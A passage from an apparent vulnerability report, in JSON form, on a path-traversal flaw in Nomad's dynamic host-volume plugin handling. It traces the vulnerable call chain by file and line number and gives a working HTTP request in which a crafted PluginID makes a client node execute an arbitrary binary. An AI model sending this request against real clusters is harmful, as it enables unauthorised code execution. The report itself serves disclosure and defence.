\"\"` (attacker sets it; needs only `node:read` to learn one), it early-returns. This **skips** the only server-side plugin-existence gate at :561-564 (the `${attr.plugins.host_volume.<PluginID>.version} is_set` constraint that would otherwise reject a never-fingerprinted traversal path).\n - `createVolume()` — nomad/host_volume_endpoint.go:466-480 — copies `vol.PluginID` unmodified into `cstructs.ClientHostVolumeCreateRequest` and fires server→client RPC `ClientHostVolume.Create`.\n3. Client RPC `HostVolume.Create` — client/host_volume_endpoint.go:25-43 → `c.hostVolumeManager.Create(ctx, req)`.\n4. `HostVolumeManager.Create` — client/hostvolumemanager/host_volumes.go:89-150 → `hvm.getPlugin(req.PluginID)` at :94.\n5. `getPlugin` — host_volumes.go:231-237 — not a builtin → `NewHostVolumePluginExternal(log, hvm.pluginDir, id, hvm.volumesDir, hvm.nodePool)` with `id == attacker PluginID`.\n6. **Sink construction** — client/hostvolumemanager/host_volume_plugin.go:224-248 — `executable := filepath.Join(pluginDir, filename)` at :229. `filepath.Join` cleans `..`, so `pluginDir + \"../../../../tmp/nomad-poc/evil.sh\"` normalizes outside `pluginDir`. No `filepath.Rel`/`strings.HasPrefix`/`filepath.IsLocal` confinement. Only checks: `os.Stat` exists + `helper.IsExecutable` (exec bit set).\n7. `plug.Create()` (:321) → `p.runPlugin(ctx, log, \"create\", env)` → **`exec.CommandContext(ctx, p.Executable, op)` at host_volume_plugin.go:435** — arbitrary binary executed as the Nomad client process user.\n\n**Minimal real-input reachability proof** (single HTTP request with a token holding only namespace `host-volume-create` + `node:read`):\n```\nPUT /v1/volume/host/create HTTP/1.1\nHost: <nomad-server>:4646\nX-Nomad-Token: <limited-token>\nContent-Type: application/json\n\n{\"Volume\":{\"Name\":\"x\",\"Namespace\":\"default\",\"NodeID\":\"<any-ready-node-id>\",\n \"PluginID\":\"../../../../../../../path/to/executable/on/that/node\"}}\n```\nNo non-default server/client config is required (dynamic host volumes are core in ≥1.10; ACLs are the recommended production posture and make the boundary *more* meaningful, not less).\n\nREACHABLE\n</reachability>\n\n<trust_boundary>\nThe triggering bytes (`Volume.PluginID`, `Volume.NodeID`) are supplied over",
"title": "nomad: path-traversal at client/hostvolumemanager/host_volume_plugin.go:229",
"vendor_severity": "critical"
}